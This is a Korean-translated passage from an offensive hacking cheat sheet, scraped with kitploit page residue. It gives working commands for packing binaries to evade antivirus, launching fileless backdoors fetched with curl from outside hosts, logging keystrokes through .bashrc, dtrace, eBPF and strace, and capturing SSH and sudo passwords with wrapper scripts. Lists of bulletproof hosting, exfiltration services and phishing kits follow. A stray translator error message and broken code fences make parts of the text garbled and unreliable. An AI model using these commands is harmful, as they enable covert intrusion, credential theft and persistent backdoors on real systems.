UPX를 사용하여 ELF 바이너리(예: /bin/id)를 패킹하십시오:```shell BIN="mybin" upx -qqq /bin/id -o "${BIN}"

root@kitploit:~
Cleanse the [UPX header](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) and 2nd ELF header to fool the Anti-Virus:

UPX 헤더와 두 번째 ELF 헤더를 정리하여 안티바이러스를 속이십시오:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

선택적으로 UPX 시그니처와 흔적을 제거합니다:```shell cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$
=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx" mv "${BIN}.tmpupx" "${BIN}" grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.
)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}" perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"

root@kitploit:~
바이너리가 언패킹될 수 없는지 확인하십시오:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

선택적으로 bincrypter로 암호화하세요.

8.viii. 파일시스템을 건드리지 않고 백도어 배포하기

파일시스템에 쓰지 않고 백도어를 시작하거나, 쓰기 가능한 모든 위치가 악명 높은 noexec 플래그로 마운트된 경우 사용하세요.

바이너리를 메모리에 로드하고 실행하는 Perl 원라이너입니다(디스크나 /dev/shm 또는 /tmp를 전혀 건드리지 않습니다). 자세한 내용은 Hackshell을 참조하세요.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }

Example usage:

memexec /usr/bin/id -u

cat /usr/bin/id | memexec -u

curl -SsfL https://thc.org/my-backdoor-binary | memexec

root@kitploit:~
가능한 가장 짧은 변형은 (예시):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

(교육적인 논의를 해주신 tmp.Out님과 다른 분들의 이전 작업에 감사드립니다)

파일 시스템에 쓰지 않고 gsocket을 배포합니다(예):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))

root@kitploit:~
백도어는 SSH를 통해 원격 메모리로 직접 파이프되어 실행될 수도 있습니다:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

원격으로 명령을 한 번만 실행할 기회가 있다면(예: PHP 익스플로잇을 통한 경우), 이것이 바로 사용할 명령입니다:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337

root@kitploit:~
---
<a id="crypto"></a>
## 9. 암호화
<a id="gen-password"></a>
**9.i. 빠른 랜덤 비밀번호 생성**

인간의 개입 없이 빠른 비밀번호를 생성할 때 유용합니다.```sh
openssl rand -base64 24

openssl을 사용할 수 없다면 head를 사용하여 /dev/urandom에서 읽을 수도 있습니다.```sh head -c 32 < /dev/urandom | xxd -p -c 32

root@kitploit:~
또는 영숫자로 만드세요```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

9.ii.a. Linux 이동 가능한 암호화 파일시스템 - cryptsetup

256MB 크기의 암호화된 파일 시스템을 생성합니다. 암호를 묻는 메시지가 표시됩니다.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec

root@kitploit:~
마운트:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

/mnt/crypted에 데이터를 저장한 다음, 마운트 해제하십시오:```sh umount /mnt/sec cryptsetup close sec

root@kitploit:~
<a id="encfs"></a>
**9.ii.b. Linux 휴대용 암호화 파일시스템 - EncFS**

```.sec```을(를) 생성하고 암호화된 데이터를 ```.raw```에 저장합니다:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

unmount:```sh fusermount -u .sec

root@kitploit:~
<a id="encrypting-file"></a>
**9.iii 파일 암호화**

전송하기 전에 0-Days 및 로그 파일을 암호화하세요 - 부탁드립니다. (그리고 자신만의 암호를 선택하세요):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

I don't see any source content in your message after "INPUT:" — it appears the chunk text itself is missing. Please provide the actual Markdown content for chunk 462, and I'll translate it into Korean following all the formatting rules.```sh

Decrypt

openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt

root@kitploit:~
---
<a id="sniffing"></a>
## 10. 세션 스니핑 및 하이재킹
<a id="session-sniffing"></a>
**10.i 사용자의 SHELL 세션 스니핑**

`~/.bashrc`용 1줄 스크립트로, 사용자의 키 입력을 스니핑하여 `~/.config/.pty/.@*`에 저장합니다. root가 아닐 때 사용자의 sudo/ssh/git 자격 증명을 캡처해야 하는 경우 유용합니다. 

배포: 다음 내용을 대상 시스템에 복사하여 붙여넣고 지침을 따르세요:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
  • zapper와 결합하여 프로세스 목록에서 명령 옵션을 숨깁니다.
  • /usr/bin/script는 util-linux >= 2.37(-I 플래그)에서 필요합니다. 정적 바이너리는 pkgforge에서 가져옵니다.
  • /dev/tcp/3.13.3.7/1524를 출력 파일로 사용하여 원격 호스트에 로그를 기록하는 것을 고려하세요.
  • 로깅을 비활성화하려면 ssh -o "SetEnv LC_PTY=1"로 로그인하세요.

10.ii dtrace로 모든 SHELL 세션 스니핑 - FreeBSD

특히 Solaris/SunOS 및 FreeBSD(pfSense)에 유용합니다. 커널 프로브를 사용하여 모든 sshd 프로세스를 추적합니다.

이 "D Script"를 대상 시스템의 d라는 이름의 파일로 복사하세요:```c #pragma D option quiet inline string NAME = "sshd"; syscall::write:entry /(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/ { printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }

root@kitploit:~
dtrace를 시작하고 /tmp/.log에 로그를 기록합니다:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

10.iii eBPF로 모든 SHELL 세션 스니핑 - Linux

eBPF를 사용하면 커널의 120,000개 이상의 함수를 안전하게 훅(hook)할 수 있습니다. Linux용 더 나은 "dtrace"라고 생각하면 됩니다.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt

root@kitploit:~
우리만의 [sudo/su/ssh 비밀번호를 스니핑하는 eBPF 도구](https://github.com/hackerschoice/bpfhacks)를 확인해 보세요.

<a id="ssh-sniffing-strace"></a>
**10.iv strace로 사용자의 SSH, bash 또는 SSHD 세션을 스니핑하기**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

SSHD 프로세스를 스니핑하는 것도 가능합니다(또한 sudo 비밀번호 등도 캡처합니다). 참고로 우리는 write() 호출을 대신 추적합니다(sshd가 bash에 데이터를 '기록'하기 때문입니다):```sh

Find the sshd PID that spawned the bash:

ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...

root@kitploit:~
Sniff 7770 (예시):```shell
tit write 7770

10.v. 래퍼 스크립트로 사용자의 나가는 SSH 세션 스니핑

/proc/sys/kernel/yama/ptrace_scope가 1로 설정된 경우에 사용하는 더 지저분한 방법 (strace는 이미 실행 중인 SSH 세션에서는 실패합니다)

세션을 기록하기 위해 strace + ssh를 실행하는 'ssh'라는 래퍼 스크립트를 만듭니다:

래퍼 스크립트 보기 - 여기를 클릭하세요```sh # Cut & Paste the following into a bash shell: # Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh: echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

Create a log directory and our own ssh binary

mkdir -p ~/.local/bin ~/.local/logs

cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF

cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile

echo -e "\033[1;32mSUCCESS. Logfiles stored in ~/.local/.logs/. To uninstall cut & paste this\033[0m:\033[1;36m grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"

root@kitploit:~
(테스트해 준 Gerald에게 감사드립니다)
</details>

다음에 사용자가 셸에 로그인하여 SSH를 사용하면 SSH 세션이 스니핑되어 *~/.ssh/logs/* 경로에 기록됩니다.

<a id="ssh-sniffing-sshit"></a>
**10.vi SSH-IT를 사용하여 사용자의 나가는 SSH 세션 스니핑**

가장 쉬운 방법은 [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/)를 사용하는 것입니다.```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

10.vii 하이재킹 / 실행 중인 SSH 세션 탈취

기존 SSH 세션을 탈취하려면 https://github.com/nelhage/reptyr를 사용하세요:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T

or: ./reptyr -T $(pidof -s ssh)

Must use '-T' or otherwise the original user will see that his SSH process gets suspended.

도구 다운로드
root@kitploit:~
---
<a id="vpn-shell"></a>
## 11. VPN 및 셸
<a id="shell"></a>
**11.i. 일회용 루트 서버**```console
$ ssh [email protected] # Use password 'segfault'

https://thc.org/segfault

11.ii. VPN/VPS/프록시

신뢰할 수 있는 VPN 제공업체

  1. https://www.mullvad.net
  2. https://www.cryptostorm.is
  3. https://ivpn.net
  4. https://proton.me - 무료 VPN 제공
  5. https://vpn.fail - 자원봉사자들이 운영

가상 사설 서버(VPS). offshore.cat을 확인하세요.

  1. https://www.hetzner.com - 저렴함
  2. https://hivecloud.pw - KYC 없음. Bullet Proof. 암호화폐 허용.
  3. https://dmzhost.co - 대부분의 남용(abuse) 요청을 무시함
  4. https://alexhost.com - KYC 없음. Bullet Proof. DMCA 면제 구역
  5. https://basehost.eu - 법원 명령 무시
  6. https://buyvm.net - Warez 사용자의 단짝
  7. https://serverius.net - 범죄자들이 사용함
  8. https://1984.hosting - 프라이버시
  9. https://bithost.io - DigitalOcean, Linode, Hetzner, Vultr 리셀러 (암호화폐 허용)
  10. https://www.privatelayer.com - 스위스 기반.

기타 KYC 없는 서비스 보기 (.onion)

프록시 (우리는 이런 것들을 사용하지 않습니다)

  1. V2Ray Proxies
  2. Hola Proxies
  3. Zaeem's Free Proxy List
  4. Proxy Broker 2
  5. proxyscrape.com
  6. my-proxy.com
  7. getfreeproxylists.blogspot.com
  8. proxypedia.org
  9. socks-proxy.net
  10. Segfault: curl -x socks5h://$(PROXY) ipinfo.io - 요청마다 무작위 프록시를 선택합니다

기타 많은 무료 서비스

  1. https://free-for.dev/

12. 정보 수집

여러 공개 데이터베이스에서 역방향 DNS:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }

rdns

root@kitploit:~
TLS/THC-IP 데이터베이스에서 하위 도메인 찾기:```sh
sub() {
    [ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
    curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
    curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
OSINT 해커 도구
https://api.c99.nl무료: Subdomain Finder, 유료: Phone-Lookup, CF Resolver, WAF Detector, IP2Host 등... 연 $25.
https://osint.sh무료. Subdomain Finder, DNS History, Public S3 Buckets, Reverse IP, Certificate Search 등
https://cli.fyi무료. 여러 서비스용 curl/json 인터페이스. curl cli.fyi/me 또는 curl cli.fyi/thc.org 사용해 보세요.
https://check-your-website.server-daten.de무료. 도메인의 TLS/DNS/보안 점검.
https://ipsniper.info/api.htmlrDNS/fDNS 및 기타 IP 정보 도구
https://ip.thc.orgfDNS/rDNS 조회: curl -fL ip.thc.org/140.82.121.3
https://hackertarget.com/ip-tools/무료 OSINT 서비스 (Reverse IP, MTR, 포트 스캔, CMS 스캔, 취약점 스캔, API 지원)
https://account.shodan.io/billing/tour전 세계의 오픈 포트 DB 및 DNS 조회
https://dnsdumpster.com/도메인 정찰 도구
https://crt.sh/TLS 인증서 검색
https://archive.org/web/웹사이트의 과거 기록 보기
https://www.farsightsecurity.com/solutions/dnsdb/DNS 검색 (유료)
https://wigle.net/무선 네트워크 매퍼
https://radiocells.org/기지국 정보
https://www.shodan.io/장치 및 배너를 찾는 검색 엔진 (유료)
탐정용 OSINT
https://start.me/p/rx6Qj8/nixintel-s-osint-resource-listNixintel의 OSINT 리소스 목록
https://github.com/jivoi/awesome-osintAwesome OSINT 목록
https://cipher387.github.io/osint_stuff_tool_collection/OSINT 도구 모음
https://osintframework.com/다양한 OSINT 도구
OSINT 데이터베이스
https://data.ddosecrets.com/데이터베이스 덤프

13. 기타

13.i. 실무 도구

통신

  1. CryptoStorm Email - 일회용 이메일 (발신 및 수신). (Disposable-email-services 목록).
  2. Temp-Mail - 훌륭한 웹 GUI를 갖춘 일회용 이메일 서비스. 수신 전용.
  3. tuta.io 또는 ProtonMail/.onion - 무료 및 프라이빗 이메일
  4. Quackr.Io - 일회용 SMS/문자 메시지 (Disposable-SMS-services 목록).
  5. SMS-Man - Signal, WA 및 그 외 많은 서비스와 호환되는 익명 SMS/문자
  6. Crypton - 암호화폐로 프라이빗 SIM/SMS 대여 (.onion)
  7. "No KYC" 서비스 목록 (.onion)

OpSec

  1. OpSec for Rebellions - 여기서 시작하세요. 가장 간단한 3단계.
  2. RiseUp - (온라인) 저항 운동을 위한 메일, VPN 및 팁.
  3. CryptoPad/DisRoot - 저항 운동을 펼치기 위한 IT 인프라.
  4. Neko - Docker에서 Firefox를 실행하고 127.0.0.1:8080으로 접속 (WebRTC)
  5. x11Docker - 모든 X11 앱을 컨테이너에 격리 (Linux 및 Windows 전용). (기사)
  6. DangerZone - PDF를 열기 전에 안전하게 만드세요.
  7. ExifTool - 파일에서 메타데이터 제거 (exiftool -all= example.pdf example1.jpg ...)
  8. EFF - 자유 투사들을 위한 현명한 조언.

익스플로잇

  1. LPE용 ttyinject 및 ptyspy.
  2. SploitScan - 익스플로잇 점수 및 PoC 검색 (by xaitax)
  3. Traitor - 루트 권한 획득(LPE)을 위해 다양한 익스플로잇/취약점 시도
  4. PacketStorm - 2000년 뉴욕에서 fringe[at]dtmf.org와 피자를 나눈 이후로 우리가 가장 좋아하는 사이트
  5. ExploitDB - metasploit DB 및 google hacking DB도 포함
  6. Shodan/Exploits - exploit-db와 유사

시스템 정보 수집

  1. curl -fsSL https://thc.org/ws | bash - 서버에 호스팅된 모든 도메인 + 시스템 정보 표시
  2. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - 해커를 위한 빠른 시스템 정보 수집
  3. https://github.com/zMarch/Orc - 로컬 RCE를 찾는 포스트 익스플로잇 도구 (설치 후 getexploit 입력)
  4. https://github.com/The-Z-Labs/linux-exploit-suggester - 대상 시스템의 버전을 기반으로 익스플로잇 제안
  5. https://github.com/efchatz/pandora - Windows: 다양한 패스워드 매니저에서 비밀번호 덤프

백도어

  1. https://www.gsocket.io/deploy - 세계에서 가장 작은 백도어
  2. https://github.com/m0nad/Diamorphine - 프로세스와 파일을 숨기기 위한 Linux 커널 모듈
  3. https://www.kali.org/tools/weevely - PHP 백도어

네트워크 스캐너

  1. https://github.com/robertdavidgraham/masscan - 인터넷 전체 스캔
  2. https://github.com/ptrrkssn/pnscan - 빠른 네트워크 스캐너
  3. https://zmap.io/ - ZMap & ZGrab

취약점 스캐너 (참고: 이 모든 도구는 99% 악용 불가능한 오탐(false positive)을 생성합니다. 전부 형편없습니다.)

  1. Raccoon - 정찰 및 정보 수집
  2. Osmedeus - 취약점 및 정보 수집
  3. FullHunt - log4j 및 spring4shell 스캐너

DDoS

  1. DeepNet - 우리는 DDoS를 혐오하지만, 어쩔 수 없이 사용해야 한다면 이것을 선택하겠습니다.

정적 바이너리 / 사전 컴파일된 도구

  1. https://bin.pkgforge.dev https://pkgs.pkgforge.dev (github, Soar Project)
  2. https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
  3. https://lolbas-project.github.io/ (Windows)
  4. https://iq.thc.org/cross-compiling-exploits

피싱

  1. https://github.com/htr-tech/zphisher - 우리는 이런 방식으로 해킹하지 않지만, 사용한다면 이것을 쓸 것입니다.
  2. https://da.gd/ - 더 작은 TinyUrl이며 https://[email protected]/blah 형식을 허용합니다.

도구

  1. https://github.com/hackerschoice/bincrypter - 모든 Linux 바이너리 난독화 및 패킹
  2. https://github.com/guitmz/ezuri - Linux 바이너리 난독화 (ELF 전용)
  3. https://tmate.io/ - 다른 사람과 화면 공유

콜백 / 카나리 / 명령·제어(C2)

  1. https://app.interactsh.com
  2. https://api.telegram.org
  3. https://webhook.site

터널링

  1. Gost
  2. WireTap 또는 Segfault의 WireGuard.
  3. NAT 뒤의 서버를 공용 인터넷에서 접근 가능하게 만들려면 ngrok, cloudflared 또는 pagekite를 사용하세요.

데이터 유출(Exfil)

  1. Blitz - blitz -l / blitz foo.txt
  2. Segfault.net - exfil 입력
  3. RedDrop - 자체 Exfil 서버 실행
  4. Mega
  5. oshiAt - TOR에서도 사용 가능. curl -T foo.txt https://oshi.at
  6. 0x0.at - curl -F'[email protected]' https://0x0.st/
  7. Transfer.sh - curl -T foo.txt https://transfer.sh
  8. LitterBox - curl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.php
  9. Croc - croc send foo.txt / croc anit-price-example
  10. MagicWormhole

게시(Publishing)

  1. 무료 BT/DC/eD2k 시드박스
  2. 또는 segfault.net에서 /onion을 사용하거나 ngrok으로 일반 https를 사용하세요.
  3. Cloudflare - 무료 티어로 대부분의 기능(dns + 도메인 + 터널)을 이용할 수 있습니다.
  4. Njal.la - 프라이버시 중심 도메인 레지스트라
  5. DuckDNS - 무료 도메인 이름
  6. AnonDNS - 무료 도메인 이름 (익명)
  7. afraid.org - 도메인용 무료 동적 DNS
  8. hostwinds - 암호화폐 결제 가능
  9. unstoppable domains - 암호화폐 결제 가능
  10. he.net - 무료 네임서버 서비스
  11. 0bin / paste.ec - 암호화된 PasteBin
  12. pad.riseup.net - 문서를 만들고 안전하게 공유

포럼 및 컨퍼런스

  1. AlligatorCon - 원조
  2. 0x41con
  3. TumpiCon
  4. 0x00sec

텔레그램 채널

  1. The Hacker's Choice
  2. The Hacker News
  3. CyberSecurity Technologies
  4. Offensive Twitter
  5. Pwn3rzs
  6. VX-Underground
  7. Android Security / Malware
  8. OSINT CyberDetective
  9. BookZillaaa
  10. Rootkit Researchers

마인드맵 및 지식

  1. Compass Sec 치트 시트
  2. 네트워크 펜테스팅
  3. Active Directory

13.ii. 유용한 Linux 명령어

  1. https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/
  2. https://github.com/ibraheemdev/modern-unix

13.iii. Tmux 치트 시트

Tmux 치트 시트
Max BufferCtrl-b + : + set-option -g history-limit 65535
SaveScrollbackCtrl-b + : + capture-pane -S - 다음에 Ctrl-b + : + save-buffer filename.txt를 입력하세요.
SpyScrollback실행 중인 tmux의 pane 6, window 0을 캡처하려면 tmux capture-pane -e -pS- -t 6.0을 사용하세요. -e를 제거하면 색상 없이 저장됩니다.
Clear화면을 지우고 스크롤백 기록을 삭제하려면 tmux send-keys -R C-l \; clear-history -t6.0을 사용하세요.
LoggingCtrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'
시작과 중지는 Ctrl-b + Shift + P를 누르세요.
HiddenTmuxcd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache
세션에 접속하려면 다음을 실행하세요.
cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach
Attach새 tmux를 시작한 다음 Ctrl-b + s를 입력하고 LEFT, RIGHT를 사용하여 세션을 미리 보고 선택하세요.
MenuCtrl-b + >. 그런 다음 Ctrl-b + UP, DOWN, LEFT 또는 RIGHT를 사용하여 패널 사이를 이동하세요.

13.iv. 유용한 명령어

모든 인터넷(-tu) 연결을 나열하려면 lsof -Pni 또는 netstat -putan(또는 ss -putan)을 사용하세요.

모든 수신 중(-l) TCP(-t) 소켓을 표시하려면 ss -lntp를 사용하세요.

기본 인터넷 경로를 표시하려면 netstat -rn 또는 ip route show를 사용하세요.

tar에 대한 TLDR 도움말을 얻으려면 curl cheat.sh/tar를 사용하세요. 다른 모든 Linux 명령어에서도 작동합니다.

서버 속도 테스트를 하려면 curl -fsSL bench.sh | bash를 사용하세요.

지연 시간이 긴 링크나 느린 링크를 통한 해킹은 답답할 수 있습니다. 모든 키 입력이 하나씩 전송되며, 오타 하나를 되돌리는 일도 훨씬 더 답답하고 시간이 많이 걸립니다. rlwrap이 해결사가 되어 줍니다. Enter를 누를 때까지 모든 단일 키 입력을 버퍼에 모아 두었다가 전체 줄을 한 번에 전송합니다. 덕분에 빠른 속도로 타이핑하고 오타를 고치는 것이 훨씬 쉬워집니다...

역방향 터널의 수신 측 예시:```sh rlwrap --always-readline nc -vnlp 1524

root@kitploit:~
*SSH* 예시:```sh
rlwrap --always-readline ssh user@host

14. 해커가 되는 방법

방법은 많지만 한 가지는 다음과 같습니다.

  1. Linux를 사용하고 Bash에 능숙해지세요. 모든 Linux 명령어를 배우세요.
  2. 인터넷이 어떻게 작동하는지 배우세요. (셸 액세스를 통해) 서버 몇 개를 설치하고 구성하세요.
  3. 시스템 아키텍처와 OS가 작동하는 방식을 이해하세요.
  4. 모든 책을 읽으세요. 스스로에게 "왜 이 방식으로 되어 있고, 다른 방식이 아닌가?"라고 물어보세요.
  5. Phrack의 상위 10개 기사를 읽으세요.
  6. 해커 채널에 가입하세요. TryHackMe 또는 HackTheBox에 등록하세요.
  7. 장난기 있게 하세요.

15. 기타 사이트

  1. Phineas Fisher - 허튼소리 없음. 직설적. 우리가 좋아하는 방식.
  2. Hacking HackingTeam - a HackBack - 오래되었지만 실력이 실제로 드러난 작업.
  3. Guacamaya Hackback
  4. Vx Underground
  5. HTB absolute - 잘 쓰이고 잘 설명된 공격.
  6. Conti Leak - Windows 해킹. 실용적.
  7. Red Team Notes
  8. InfoSec CheatSheet
  9. HackTricks
  10. Awesome Red Teaming
  11. Hacking Resources
  12. Awesome Hacking
  13. VulHub - 익스플로잇을 테스트하세요.
  14. Qubes-OS - XEN 격리(일회용) 게스트 VM(Fedora, Debian, Whonix가 기본 제공)을 갖춘 보안 중심 데스크톱 OS

Shoutz: ADM, subz/#9x, DrWho, spoty 우리와 함께 Telegram에 가입하세요.

"Buy Me A Coffee"

https://spur.us/context/me
IP 등급 https://spur.us/context/<IP>
http://drs.whoisxmlapi.com역방향 Whois 조회 (유료)
https://www.abuseipdb.comIP 남용 등급